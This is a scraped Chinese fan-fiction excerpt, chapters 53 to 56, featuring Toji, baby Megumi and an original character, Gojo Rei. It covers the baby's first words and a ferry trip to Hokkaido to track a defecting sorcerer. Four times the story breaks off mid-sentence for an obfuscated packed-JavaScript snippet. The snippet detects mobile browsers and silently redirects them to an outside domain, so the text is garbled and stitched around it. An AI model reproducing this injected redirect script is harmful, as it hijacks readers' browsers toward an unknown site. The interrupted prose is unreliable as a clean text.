“我没有什么特别的意思,只是想做好准备而已。” 她低下头,不自觉放慢的脚步几乎要让她被甚尔甩在身后,话语听起来像是自顾自的小声嘀咕。 “要是当真不会说话,不就真的变成海胆了嘛……” 甚尔靠过来:“你说什么?” 他没听清。 “没什么!” 这么离谱的比喻,可不能让他听到呀。 甚尔看她一副讪笑着的尴尬模样,实在不知道该从哪里吐槽起来才好,索性不吐槽了,反正看她又变成了一副缩手缩脚的样子就能猜想到,她绝对在想一些不礼貌的事情。 再不礼貌也无妨,在这个家里,礼貌从来都不重要——虽然她依旧还是很恪守着规矩。 抓着看不见的风,禅院惠越玩越开心,两只小手扒拉着越过甚尔的肩膀,直往后背爬,嘴里也咿呀咿呀不停。 甚尔任由他在肩膀上翻山越岭,只不太认真地抓住他的外套下摆,这就算是全部的安全措施了。 既然能咿呀咿呀,总不能说不了话吧?反正甚尔是这么想的。 “不会说话也没事。”他很随性地说,“这样以后就不会说出傻话了,也可以少烦人一点。” “……哦?” 五条怜眨眨眼。 这是不是在暗示,她总说笨蛋一样的傻话很烦人呢? 想要说点什么辩解一下吧,说不定回显得她更像是蠢话很多的麻烦笨蛋了。可要是一言不发,不就像是心甘情愿地默认了这一评价嘛,这可不妙! 左右都不行,久违的危机感又冒出来了,五条怜很不争气地开始冒出冷汗了。 抹抹额头,一抬眸,甚尔居然在盯着他,吓得她又是一顿。 “放心好了,我没说你。”甚尔随口安抚了一句。 他一眼就看穿了她的尴尬,毕竟鲜少有人会在凉爽的秋日夜晚疯狂擦汗。 “哦……”五条怜看起来还是恹恹的,估计还是打不起精神,“我明白的。” “你又明白什么了?”甚尔有点无奈,顿了顿才说,“我只是在说禅院家的那群人而已。” 禅院家的人爱说傻话,好像是一幢理所应当的事情。其中最傻的行为,当属把他堵在庭园的角落里,一遍又一遍重复着相同的傻话。 ——咦,是没咒力的那个废物呢。 ——啊,就是没咒力的那个废物。 ——果然是一点咒力都没有的废物。 相同的话语,调整一下语序或是措辞,就能变成自己的话语了。真蠢。 哪怕是想一想,都会觉得蠢得要死。 甚尔垂下眼眸,发现五条怜正在盯着她。 倒是不至于被吓到,但还是有点意外。他眯起眼,没好气的:“干嘛?” 被这么一问,五条怜倏地就站直了身,摇摇头。 “不干嘛。”她说,“就是在想,你怎么突然不说话了。” 甚尔抬起手,压在她的脑袋上,摁了两记:“没怎么,只是不想和笨蛋说话了。” “呃——” 这下绝对就是在说她是笨蛋没错了吧,明明刚才还否认的呢! 五条怜大受打击,整个人都不好了,完全没有注意到甚尔正盯着她这副模样偷笑呢。 不管怎么说,自己受到的打击有朝一日总会消散,但最要紧的说话问题,可实在是太叫人牵挂了。 回到家之后的一整晚,五条怜都在观察着小海胆的状态,看他在客厅的地板上爬来爬去,听他呜哇呜哇叫个不停,想到他调皮的时候最爱拿哭声当武器,提心吊胆的心情好像稍稍减轻一点了。 既然能哭,就证明喉咙好好的。发声没有问题的话,那么……不对不对不对。 她甩甩脑袋,一下子就从乐观的设想中抽身出来了。 发声是发声,说话是说话,这是两件截然不同的事情,可不能混为一谈了! 概念是分清楚了,忧虑不减反增,五条怜苦恼地睡不着觉,隔天迫不及待地跑去了书店。 啊,去书店可不是为了给自己找什么消遣。一迈过大门,她就钻进了育儿类书籍的专栏。 还住在那间破旧小公寓的时候,曾经在甚尔的卧室里看到过一本育儿书。 考虑到禅院甚尔并不是那种会认真照顾小孩的家伙,显然那本书是小惠的妈妈买下的。但那时候五条怜压根没想到这回事,并且连科学育儿都没想过。搬家去镰仓的时候,更是忘了把育儿书一起打包上。现在也不知道书到底去什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833005|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么地方了,真是后悔,还好这也不是什么无法挽回的过错,只要把手头这本书买下就好。 一回到家,五条怜就开始抱着书拜读,一股子难得的认真劲差点让甚尔相信了她真有这么求知若渴。仔细一看才发现是育儿书,不免挖苦起来:“你还惦记着惠不说话的事呢?” 五条怜头也不抬:“嗯。” “行吧。” 他撇撇嘴,佯装满不在意的走开了,实际根本没走多远,视线也粘在书页上,和五条怜一起盯着“1~12个月婴儿生长发育对照表”。 按照生长发育对照表,七至八个月的婴儿就会发出“爸爸”和“妈妈”的声音了,等到九至十个月更是可以扶着护栏行走,也会重复大人的话了。 五条怜看看对照表,又抬头看看坐在地上捏着积木玩的小海胆,暗自想了一堆东西。 这堆念头中最重要的一点是,她连禅院惠的生日是什么时候都不知道,月龄更是难以估算。 如果以平安夜作为起点,那禅院惠至少有十个月大了。如此看来,他的语言进度显然十分落后,玩闹的技能倒是还能跟上。走路嘛…… 五条怜放下书,把小海胆抱过来,用手扶着,让他用双脚站在地上。 不知道是因为海胆本来就是没有脚的生物,又或者他的双腿变成了软糖,一碰到木地板,他整个人都软趴趴地掉到地上去了,重复了好几次都是一样。她急得脑袋冒汗,小海胆却咯咯咯笑个不停,显然是把这当成了游戏。 “站好啦,不要笑。”她故意板起面孔,装出凶巴巴的样子,“朝我走过来,好吗?” 小海胆听了吗?好像听了。 他听明白了吗?大概没有。 啪叽一下,它又瘫到地上了。 “唉,我不管你了!我要走了!” 丢下这句话,五条怜作势要走——当然,是装的。 一个真心要走的人,可不会面朝着自己的逃跑对象慢步逃走,还只迈了几步就停住了脚步。 看她要走了,说不定这终于给禅院惠带来了危机感。小海胆长出了正经的脚,在地上蹬了几下,不像样地手脚并爬。 终于,双腿支撑起了肉乎乎的身子。他摸着墙壁,摇摇晃晃地挪过来,并且结结实实地扑在了五条怜的腿上。 再然后嘛,他就一步路都不想走了,抱着他的小腿,哼唧哼唧不知道想说什么,反正肯定不是什么意味明确的话语。 十月龄的成长计划成功达成! 一方面进行得还算顺利,另一方面就一如既往了。禅院惠还是不会说话。 “我叫阿怜。阿——怜——” 五条怜张大嘴,把单一的音节拉得很长,每次经过小海胆身边都要重复一下“阿怜”和“爸爸”这两个最简单的词。但他依旧说不出来。 为什么呢?她想不明白。 同样想不明白的是,没有母亲、也不被父亲承认的自己,说出的第一个词是否也会是“妈妈”或是“爸爸”吗。如果不是,她说出的又会是什么呢? 她努力回想,但这段记忆果然太过久远,她找不回半点印象了。 唯一能想到的记忆的起点,只有一段碎片般的画面——是母亲躺在床上,开膛破肚的模样。 54.某人的影子 人生的起点是母亲的死亡,初生的本能让自己在母亲的尸体前放声大哭,仿佛在为母亲的死去悲伤。 仅有的父亲……那是一个是缺席的存在。 前者的面孔在记忆中无比模糊,或许照照镜子可以从某种程度上见到她的影子。而后者是清晰的、不愿回忆的角色。这些似乎都不适合装进大脑费心思索。于是五条怜甩甩脑袋。 想得有点太多了,得把杂七杂八的念头统统丢出去才行。 丢成功了吗?可能是的。 现在五条怜的脑袋里空空荡荡,只剩下胸膛深处还有一种沉沉的滞坠感,很别扭的感觉。她试图忽略,只看着躺在婴儿床上的小海胆。 他好像睡着了,睫毛却还在微微翕动着,像是在说着他仅仅只是在装睡,但翘起的发丝也在伴随平稳的呼吸极小幅度地颤动着,看来他当真是睡熟了。 海胆会做怎样的梦呢?真好奇啊。 五条怜轻轻抚摸着他的脑袋,指尖擦过他的脸颊。软软的,好像布丁。 “所以,我叫阿怜。”重复了好几遍的话,总忍不住想要再重复一遍,“跟我念,阿——怜——” 睡梦里的禅院惠砸吧了一下嘴,发出叽咕的声响,说着:“……爸爸。” “我不是你爸爸哟,我是阿怜……啊呀不对!” 在这声脱口而出的惊呼之后,五条怜整个人像是被按下了暂停键,瞬间不动了——同样停止了活动的还有她的大脑。 她刚才是不是听到什么东西了?特别重要、特别了不得的什么东西? 五条怜眨眨眼,僵硬的思绪现在才开始融化,啪嗒啪嗒掉的满地都是,砸出来的每一声都是稚嫩的“爸爸”。她猛地回过神来,扛起小海胆直往房间跑。 “甚——!尔——!” 好长的一声呼唤把甚尔从午睡的浅梦中惊醒,一睁开眼就看到五条怜抱着禅院惠——但勉强且吃力的动作怎么看都像是在抗着一只巨大海胆——焦急到“啊啊啊啊啊啊啊”大叫着跑过来了。 倒是不至于被这幅做派吓到,不过甚尔还是很不自在地缩了缩身子,一脸警惕。 “干嘛?”他耸耸肩膀,“有重要的事?” “嗯!嗯!”五条怜点头如捣蒜,一下子把禅院惠举到他面前,乐到原地蹦跶,“您知道刚才发生了什么吗?” 木地板不抗震,轻快的蹦跶全都变成了不规律的小型地震,震得甚尔脑袋发麻。他想,是时候在家里铺满地毯了。 “你不说我怎么知道。”他挠挠头说。 就算被这么直白的一句话语砸中了脑袋,五条怜的兴奋劲还是没有消失。她抱着小海胆左右晃了晃,满脸得意。 “他刚才说话了哟!”光是说出这句话,她的嘴角就已经扬起来了,“而且,说的是‘爸爸’呢——我们惠惠果然什么问题都没有!” “哦,是嘛。” “是的是的!快,快,再叫一声嘛!” 听着五条怜满怀期待的催促,小海胆一声不吭,只笑嘻嘻地在空气中蹬着小脚。就算是试着再左右晃荡一下,他也只当她是在和自己玩,笑得更开心了,小脚也蹬得愈发欢快,把藏在空气里的透明敌人揍得屁滚尿流。 看来晃悠战术是排不上用场了。但想想也是,禅院惠又不是存钱罐,就算找准角度摇晃几下,也不会调出珍贵的铜板。 五条怜有点尴尬,过分亢奋的心情终于消失无踪。说实话,她都有点怀疑自己刚才是不是听错了,毕竟她对禅院惠的期待和执念都意外得很深,因此而冒出幻听,好像……也不是什么出乎意料的事情哦? 似乎有点尴尬起来了,不说话的小海胆更是让此刻沉默的氛围变得更加沉默。她尴尬的笑了两声,都不敢去看一脸冷淡的甚尔了。 不知道该算是好消息还是坏事一桩,他从头到尾都没有被五条怜的过分亢奋感染,也没有变过表情,始终保持着一副像是要看好戏的局外人模样,睨着她高涨的情绪一点一点跌落下去。 看着大概是跌倒谷底了,他这才问:“你的展示结束了吗?” “……嗯。” 五条怜耷拉着脑袋,不情愿极了。但就算再怎么不情愿,好像也只能面对事实——禅院惠现在完全没处在发声说话的心情中。 “结束了的话,就把他抱回去吧。”他打了个哈欠,故意闹出夸张的动静,“我要睡午觉了。” “……哦。” 房门又被关上,浅浅的梦乡也再度造访。 保持着并不算多么安稳的睡眠,甚尔觉得自己并未睡太久,睁开双眼时,房间内却已是昏暗一片了,只有窗框的边缘还透着一点夕阳的色泽。 他真睡了这么久吗?他有种不真实感。 迷迷糊糊起身,出门往外走。家里没点灯,显得黑洞洞的,只有客厅的电视机漫着一层荧光,是五条怜在打游戏。看灯光映出的颜色不停变换,她捧着手柄不停狂搓,看来玩的八成是《鬼泣》。 想起每次在她玩游戏的时候旁观,她都会紧张到打出笨蛋操作,说不定自己已经变成她的压力源了。甚尔索性不打扰她,默默走开了,不知不觉来到婴儿房,一眼就看到了睡得正香的禅院惠,肉嘟嘟的小脸鼓着,不知道里头究竟藏了什么。用手一戳,倒是没把他闹醒。 “不是会说话的吗,怎么现在一句都不说了?”甚尔自言自语,“就算说点傻话也没事的。” 禅院惠砸吧着嘴,仍在梦中,不知道是否听到了他在说什么,只知道他在睡梦里发出的声音,听起来很像是“妈妈”。 甚尔一愣,意识到自己无法给出回应,甚至无法为此高兴。 因为他在呼唤着的,是一个缺位的角色。 难过吗?可能有一点吧。 不过,他的悲伤早就被丢进澡堂的炉子里,变成一团黑漆漆的灰烬了,所以他应该已经失去了名为“难过”的这份情感。 至于那种可怜虫的自卑感嘛……说不好。这种情绪还是尽量不要有更好。 “我是你的爸爸,好吗?”甚尔还是决定更正他的小小错误,“谁都喊不对,小笨蛋。” 对着五条怜喊爸爸,对着真正的爸爸却不说话了。有时候甚尔真怀疑,这孩子是不是故意在和他作对。 这么想着,不知道从何冒出了一点点气恼——也可能是气馁。他又戳了戳禅院惠的脸,成功戳破了摇篮里的美梦。小海胆“唔”了一声,果断地放声大哭,吓得客厅里的游戏都停下来了。 “乖啦乖啦不哭了!” 人还没抵达现场,安慰的哄声来得倒快。五条怜像一道白色闪电般冲进来。 “我们是最乖的……哎呀,甚尔。”她眨眨眼,“你睡醒啦?” 这不是显而易见的事实吗? 甚尔在心里抱怨着,摸了摸后脑勺,懒得吐槽,随口应了声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14842301|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯”。 五条怜把禅院惠抱起来,脸颊轻轻贴着他刺挠的头顶。怀抱的贴贴一下子哄好了小海胆,她顺便想起还有正经事没问呢。 “晚饭吃什么呀?” 虽然听起来很不务正业,这可是再正经不过的事情了。 甚尔想都不想:“楼下的松屋。” “好!” 轻轻关上门,那就下楼去吧。 秋日的风里带着银杏果的臭气,还有一点寒冷的意味。等到了初冬,就该是生日了。 五条怜没有在期待自己的生日,只是“生日”这个概念实在难以忽略。 有那么愚蠢的几回,她愚蠢地觉得甚尔说不定会记住她的生日,顺便偷偷准备一点惊喜。但愚蠢的想法之所以愚蠢,正是在于不可实现。 再说了——到了数月后的冬天她才想起来——自己从没对任何人说过自己的生日具体是在哪天呢。 风变得冰冷,银杏叶消失无踪,生日也这么悄无声息地结束了。 虽然真的很想把禅院惠日渐增长的语言水平(这孩子已经会重复别人说话了,就是每次拷贝都会走样)当做是生日礼物,但果然还是很难把这种小事当做代餐。整一个十二月就在对生日的郁闷中度过,到了新年这天才算好点。 “我们今天要去托儿所哦。” 小海胆自在地挥舞手臂:“托托所!” 拷贝的正确率只有区区三分之二,不过也挺好的,反正五条怜很满意了。 把禅院惠交给托儿所的老师,再跟着甚尔继续往前走吧。背后的吉他包沉沉地往下坠,还好今天穿了件足够厚的外套,否则背带肯定会压得肩膀发痛的。 五条怜把吉他包往上掂了掂。通往车站的这条路又长又沉默,很是无趣。她在心里琢磨着各种各样的话题,想要打发掉这段时间。 “甚尔,你的生日是什么时候呢?”她问,“去年一整年,你是不是都没过生日?” “啊。确实没过生日。” 随便应了一声,然后又没有了。 其实甚尔不算是一个不健谈的人,只是和她待在一起的时候,不常主动说点什么。可能是嫌弃自己是个小屁孩吧。 五条怜小跑几步,追到他的身旁。 “所以是哪一天呢?” 他歪着脑袋:“忘记了。” “哦……” 真的吗?总感觉不能相信。 不知道是不是该继续追问,但这个话题好像到底结束了,她也不再吱声,只随便左右看了看。 路上的游人更多了,不少人穿着华丽的和服。再往前走几步,原来是临近明治神宫了,熙熙攘攘的人群都是去进行新年参拜的。 想起去年的新年,他们也是这么走在街上,不过当时是为了补交水电费来着。 “我们要不要也去参拜一下?”五条怜轻轻碰了碰他的手臂。 甚尔看了眼热闹人群,什么热情都消散了:“人太多了。再说了,新年参拜总得有个祈愿的对象,你想好自己的心愿了吗?” “是哦……”她就现在开始想吧,“那,祝愿工作可以越来越多?” “这个愿望不错,但还是等过会儿看到有什么小神社再说吧。” 甚尔催着她快点走。 “再在这里耽误太多时间,就要赶不上了。” 可不能忘了,接下来就有工作等着他们呢。 55.十八小时 久违的新工作来自某位惯爱介绍高风险同时也高回报的中介人,说是要追缉某个家族(可惜不是有名的御三家)叛逃的咒术师。 据说这家伙逃到了北海道,消息是从他朋友那里探听来的。对于目标对象的处理方式,委托人说是随意,最好是能够就地处决,省得带回东京了——平添麻烦嘛。 ——居然能躲在严冬的北海道,这人还挺有骨气的。 在接到工作的那天,甚尔给出了这样的评价。 只是躲在北海道而已,这就算是有骨气了吗?五条怜有点困惑,不明白他的意思。不过,那时甚尔没有给出解答,只说“到时候去了你就知道了”,一副神秘兮兮的模样。 他随口一说的“到时候”,在新年的这一天也终于是到了时候。只要踏上飞机,那么再在空中等待上两个小时,就能落地北海道的新千岁机场了。 这番结论能够实现的前提是,他们得登上飞机。 穿过喧闹的明治神宫前,钻进更加热闹的地下铁通道,飞驰的列车带他们去往的目的地并非羽田机场,而是茨城的大洗港。接下来,他们要坐整整十八个小时的轮船,才能抵达北海道的临海城市苫小牧。 再然后,该怎么找到叛逃的咒术师,这又是到时候应该思考的麻烦问题。 为什么辛辛苦苦坐轮船去北海道,当然不是因为甚尔没苦硬吃,也肯定和超级喜欢大海的五条怜没有关系。 按照原本的计划,他们的选择毫无悬念是最便捷且性价比最高的飞机,但就在买下机票的一秒钟之前,甚尔意识到了一个盲点。 “咒具是没办法带上飞机的吧?”他看向往吉他包里塞刀的五条怜,言语僵硬,“毕竟是武器,过不了安检。而且这次还带了枪。” 听到他的话,五条怜才顿了顿,仰起头,茫然地盯着他:“……会有安全检查呀?” 抱歉,她还没坐过飞机,也没怎么出过远门——唯一一次的出远门是去京都的五条家,那时候还是家里开车过去的——所以连半点经验都没有。她甚至都想象不出安全检查该是怎么样子的。 说不定会是像科幻电影里那样,银色的带着高科技冰冷感的空间?或者是更加质朴一点的风格? 在她苦思冥想的当口,甚尔也苦恼地挠了挠脑袋,从茶几下方摸出了一本黄页,翻找起新干线价目表。当东京直达函馆的车票价格跳进视线中时,他立刻就做出了决定。 “我们坐船去北海道。” 虽然搭船过去耗费的时间是新干线的三倍,但新干线车票的价格也抵得过船票的三倍!反正叛逃的咒术师一时半会儿肯定逃不出北海道冰天雪地的囚笼,也用不着为了节省这么十几小时的时间多花钱。 所以,现在,他们在船上了。 摇摇晃晃,摇摇晃晃,摇摇晃晃。 一旦站在了船只的铁板上,脑袋里就只剩下“摇摇晃晃”这一个概念了。 毕竟,就算是巨大的游船,舒适度也总难免真那么尽如人意。 一上船,甚尔就躲进客舱里睡觉了。 才刚日落,睡意这就到来了吗?五条怜愈发搞不懂他的生理构造了。 她是一点都睡不着,困倦感尚未到来,背在身后的吉他包也沉,装在里头的咒具危险又昂贵,放在哪里都让她觉得不安心,想来想去还是带在身上最好。 就这么负重踱步,十八小时的航行变成了长期的健身行动。五条怜从船舱踱到甲板,任由冷冰冰的海风把脸颊吹得僵硬,这才躲回船上,窝进餐厅里一边啃薯条一边看电视。 小型电视机高高挂在天花板上,正在播放晚间新闻,都不是什么很有趣的内容。她看得无聊,倒是困意浮起来了,盘算着吃完最后一根薯条就去睡觉,结果一伸手,盘子里居然什么都没有了。 不知道什么时候起床了的甚尔正坐在小方桌的另一头,一把抓走了她盘子里剩下的所有薯条,残忍的暴君行径瞬间让五条怜惊醒了。她现在一点都睡不着了。 “干嘛这样子盯着我?”甚尔抽出桌边的菜单,只用一种微妙的目光眯着她,“别当小气鬼。” 五条怜努了努嘴,小声嘀咕:“我没小气。” “明明就有。”他也嘀咕,“你要吃什么?我一起点了。” “唔……咖啡布丁?” “行。” 不用等待太久,一碟炒荞麦面与一份汤咖喱还有咖啡布丁就上桌了——前两道主菜都是甚尔的。服务员小姐还没走远,他忽然伸出手来,五指很市侩地动来动去。 “给我钱。” 他说得直白,但五条怜有点懵:“什么钱?” “咖啡布丁的钱。” “……诶?” 原来不是他请客呀?这么看的话,明明他才是小气鬼嘛。 五条怜暗戳戳在心里埋怨着,伸手往口袋里掏钱,暗自庆幸刚才没有一时赌气而乱点了一大堆东西,否则现在可就要品尝苦果了。 不过咖啡布丁也有够苦,她算是得到教训了。 继续留在餐厅里看电视打发时间,一直到餐厅歇业为止。睡意已经酝酿得差不多了,只要挤进不太宽敞的双层床上,就能沉入梦乡了。 漂浮在海上的睡眠并不安稳,梦境也在水上浮浮沉沉。 短短的几个小时里,五条怜醒了好几回,每次醒来都忍不住低头看看抱在怀里的吉他包,掂量一下重量,确定了里头的都还在,这才能安心地继续睡下。 睡醒了,航线大抵也将行驶到尽头。甲板上的风愈发凛冽,裹挟着稀疏的雪粒。呼气变成了更加显著的一团白色氤氲。在甲板上站了一会儿,她的鼻尖已经快要被冻僵了,只好灰溜溜地躲回船舱里,等待轮船在苫小牧港口停稳之后,才重新与北国的风亲密接触。 嘶——被北风吹了一脸的雪,五条怜忍不住倒吸了一口气。 真是……太冷了! 难怪甚尔会说那个叛逃的家伙有骨气了,冬天的北海道实在不是什么适合逃亡的地方。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850380|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 且不说阴沉的天和骇人的低温,这儿的风就有够狠厉的了,一下子刮过来,猛烈之势几乎要把人掀翻。藏在风里的寒意则是一副偷偷摸摸的姿态,趁人不注意就钻进衣服的空隙之间,从围巾褶皱里钻进去,顺着防风外套的夹层咕噜咕噜滚下去,瞬间传遍全身。 五条怜蜷起身子,她的胃已经很不争气地开始抽痛起来了。至于骨气嘛……抱歉,已经全部被风从骨头里吹干净了。 搓搓手,再搓搓脸,恨不得把针织帽拉扯到遮住整张脸才好。她频频回头,可惜每次都没看到甚尔的身影。 说着“我有点事要调查一下”,还没下船甚尔就不见了踪影,也不说要调查多久,只余下五条怜在出口处苦等着他,人都快被冻成雕塑了……等等,他不会偷溜了吧? 虽说一时之间也想不到丢下她一个人偷偷溜走有什么好处,但甚尔貌似真的是能做出这种事情的人耶! 不妙感疯狂膨胀,五条怜瞬间觉得浑身上下都不好了,胃更是痛得厉害,一抽一抽地难受,她都快冒出冷汗了。 所以,要是当真被丢下了,该怎么办? 还不等她想到什么靠谱的应对措施,风倒是自说自话地愈发猛烈了,倏地刮走她的帽子,把头发吹成冷冰冰的一团乱。还没反应过来,她的帽子已经来到甚尔手里了。 “北海道的风也太大了。受不了。”他把帽子丢回给她,“赶紧开工,赶紧干完,赶紧回家。” 对于五条怜来说,最需要“赶紧”的,是戴上帽子。 把帽檐翻了两圈,针织帽得以紧紧地箍在脑袋上。如此一来,应该就不容易掉了吧?她暗戳戳想着,还是忍不住又把帽子往下拉了拉。 “你去做什么了?”她问。 甚尔把船票塞进检票口,连手都懒得多抬起来一下,只用身子撞开闸机的栏杆:“去问了问船上的工作人员,最近有没有遇到什么逃票的家伙。” “逃票?”五条怜也学着他的模样塞进船票,但检票机一下子把船票吃了进去,吓得她险些原地跳起,“你是说,叛逃的咒术师也是搭船过来的?” “想要不被追踪地来到北海道,坐船肯定比自驾开车更好。” “唔……” 五条怜了然般点点头。 没用的知识增加了。 “所以?”她追问着,一脚深一脚浅地和他一起走在人行道上,“知道他坐船过来了,然后呢?这个消息有什么用吗?” “当然有用。那家伙坐船是七天前的事情,船员说看到他往北面逃过去了。虽然最近每天都在下雪,但他留下的痕迹很明显。” 他指着空无一物的雪地,徒留五条怜一脸懵。 “痕迹?”她眯起眼努力看,“在哪儿呀?” “哦对,在这方面,你的眼力不如我来着。”甚尔反应过来,抬手拍拍她的脑袋,“那就多学着点吧。走了。” “……哦。” 怎么总有一种被骂了的感觉?真是微妙。 56.巨无霸套餐 跟随着雪地上看不见的踪迹(至少五条怜一丁点都看不出来),他们一路从苫小牧来到了札幌。痕迹在札幌电视台附近的站牌处消失无踪,线索好像要断在这里了。 还好,只是“好像”。 “欢迎光临!” 店员热情的问好声是和迈过自动门时的风铃声一起响起来的。 五条怜抖了抖肩膀,把肩头的雪留在门口的地毯上,这才走进里头。 距离站牌最近的就是这家汉堡店了,甚尔差遣她过来碰碰运气——另外他也确实饿了。 “我要……不好意思,请让我再看一看。” 五条怜仰着脑袋,在琳琅满目的汉堡品种之间摇摆不定,看起来似乎是完全忘记了自己的正经职责。 “请给我三个巨无霸套餐,谢谢。啊,还有。” 好啦好啦,她才不会被繁杂的汉堡迷惑,彻底忘记重要的正经事。 “请问,您见过这个人吗?” 她在厚重的防风服里费劲地摸索了一阵,总算掏出了目标对象的照片。还好还好,照片既没压皱也没怎样。也要感谢委托人乐意出借照片——“用完之后烧掉或者扔掉都行,随你们乐意吧!”委托人可是这么说的。 不管怎么说,能有照片就是好事一桩,否则不知道有多么麻烦了。 五条怜搓搓手,指着照片上一脸阴郁的男人。 “请问,您对这个人有印象吗?他大概七天前来过这附近。”她不自在地笑笑,“是我哥哥,他离家出走了。他一向是个任性的家伙,但跑到北海道还是太夸张了一点。说实在的,我很担心他的安全。” 谎言流利地脱口而出,配上不算太过成熟但至少已经不再稚嫩的演技。 负罪感?别扭感? 抱歉,这些多余的情绪,已经不会再在她的心里停留了。 称呼旁人、甚至是未曾谋面的虚构的人为“哥哥”,这种事情她已经可以轻松地做到了。 店员数完零钱,这才望向递来的照片。 大概是五条怜拙劣的演技当真打动了她,也可能是纯粹的热心肠在作祟,她眯起眼,很认真地看了一会儿,又很认真地思索了一会儿,才踟蹰着开口。 “好像,是见过呢。”带着一点不确信的口吻,说出的倒是足够让人高兴的答复,“上周有天临近打烊的时候,见到了和照片上很像的男人,不过要再瘦一点,稍微邋遢……啊,我是说,稍微有点不修边幅。” 店员小姐改口飞快,快到五条怜都没反应过来她的用意,她就接着说下去了。 “他点了好几份巨无霸套餐呢。” “哦——” 是准备储存着当干粮吗,还是纯粹出于对巨无霸的热爱?搞不懂。 “你看到他往哪个方向走了吗?”五条怜装出恰到好处的急切,实际上心里并没有那么高兴,“拜托了,我真的很想找到哥哥!” 后半句话说出口,她稍微有点后悔了——好像演得太过分了。不过依旧是还好还好,店员小姐完全没有看出来什么不对劲,只在费心苦想着。 “我记得……嗯……” 啪嗒啪嗒,她用指节轻轻敲打太阳穴,像是要把回忆从装满记忆的脑袋中敲出来。 就这么敲打了几下,她当真像是恍然大悟了,“啊”一声道:“拿走套餐之后,他去前面搭巴士了!” 虽然恍然大悟是好事,可这条信息完全没用嘛。 兜兜转转,好像又回到原点了。 五条怜努力不露出失望的表情,但不知是不是被看出来了,店员小姐也莫名急切起来,挠挠头说:“我猜你哥哥坐上的应该一辆去其他城市的长途客车,因为那辆车看起来和一般的公交车不一样嘛……抱歉,没能好好地帮到您呢。” “啊,没有没有。”五条怜赶紧摇头,“谢谢您,您已经帮了很大的忙了!” 这可不是假话,也绝非演技。能知道目标对象登上了长途客车,五条怜现在对店员小姐怀揣着真情实感的感谢。 拿走三份巨无霸套餐,不要忘记再鞠躬道谢,她捧着纸袋,一路小跑到店外。甚尔正坐在公交站的长椅上,盯着人行道发呆的样子果然很像一尊雕塑。好不容易扭过头来看他,开口的第一句也是很公事公办的“怎么说?”。 “说是搭长途汽车了。”她递上两份巨无霸套餐,“呶,给你。” 甚尔一声不吭地接过,不知在思索什么,片刻后才开口:“也是。如果只打算躲在城市里,没必要千里迢迢跑来札幌。这里只是他的中转站。他到底……你怎么买了两份一样的套餐?” 费尽全力张大了嘴的五条怜还没来得及啃下第一口汉堡就迎来了甚尔的疑问,只好悻悻地把大吃一顿的念头放到一边,对他的埋怨给出回复:“你只说要点两份套餐,也没说要吃什么呀。” 责任倏地被推到了甚尔这里——谁叫你没有提前说出要求! 甚尔才不愿意承认是自己的问题。他扯着嘴角,郁闷地拆开汉堡纸,狠狠啃了一大口,说出的话语也变成了牛肉饼气味的咕哝声:“按照常理,一般人都会买两个不一样的套餐吧?” “您就当我不是一般人好了。”五条怜故意同他赌气,“再说了,您要是有什么需求的话,就直说嘛。我可猜不出你在想什么。” “……” 甚尔无话可说。他莫名觉得五条怜这话越听越耳熟,啃完了一整个巨无霸汉堡才想起自己以前和她说过差不多的话。那时候她是怎么回应的来着?忘记了。 反正回旋镖扎在了自己的身上。难受。 然后就不知道该说什么了。沉默着吃完汉堡,再看看车站指示牌。 会经过本站长途客车有三个方向,分别是新千岁机场、函馆和旭川。新千岁机场方向被首个淘汰,一个避免坐飞机的家伙才不会跑去机场自投罗网。 至于函馆嘛……也可以pass了。有着百万美元夜景的地方也会有着百万数量的游客,风险太高。 “如果是我,一定会去旭川。”甚尔是这么说的。 “哦——”五条怜夸张地点点头,其实似懂非懂,“因为旭川这地方名字很好听,而且‘旭’字有个好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859260|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意味?” 她知道自己正在胡言乱语,也难怪会被甚尔白上一眼了。 “因为那里有瀑布,而且瀑布周围是森林。” 五条怜眨眨眼,颇感意外:“还有瀑布呀?” 感谢旭川的白须瀑布,成功帮助她从无尽的尴尬感中抽身而出了。 